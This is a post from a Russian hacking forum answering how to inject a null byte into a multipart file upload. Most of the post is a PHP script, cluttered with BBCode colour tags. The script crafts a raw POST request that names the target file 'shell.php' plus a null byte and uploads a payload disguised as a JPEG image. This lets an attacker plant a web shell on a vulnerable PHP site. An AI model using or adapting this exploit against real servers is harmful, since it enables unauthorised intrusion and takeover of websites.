Показать сообщение отдельно

  #14912  
Старый 28.08.2010, 21:08
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Цитата:
Сообщение от budden  
Подскажите, как передать ПОСТом нуль-байт, если форма аплоадит файл и значит enctype="multipart/form-data"?
Вот пример:
Код:
File:
Если передаю файл, и в тампер-дата дописываю к его имени %00 или \0 - они не интерпретируются как нуль-байт, а идут текстом. И файл получается с %00 или \0 в названии... Как быть?
Пробовал на CentOS, php5 - не работает, нуллбайт игнорируется и расширение .gif приписывается при MagicQuotes on и off

На винде работает при MagicQuotes Off

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"--ololo\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'
Content-Disposition: form-data; name="myname"'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'
shell.php'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\x00"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"--ololo\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'
Content-Disposition: form-data; name="picture"; filename="picture.jpg"'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Type: image/jpeg\r\n\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$sh[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"--ololo--\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
http://host/script.php'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"]);

function[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cont[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]parse_url[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$respons[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$postsock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fsockopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'host'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"POST[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]HTTP/1.1\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Host:[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'host'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Connection: close\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Length: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cont[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Type: multipart/form-data; boundary=ololo\r\n\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$cont[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$postsock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"]);

while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$postsock[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]$respons[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$postsock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$postsock[/COLOR][COLOR="#007700"]);

return[/
COLOR][COLOR="#0000BB"]$respons[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
 
Ответить с цитированием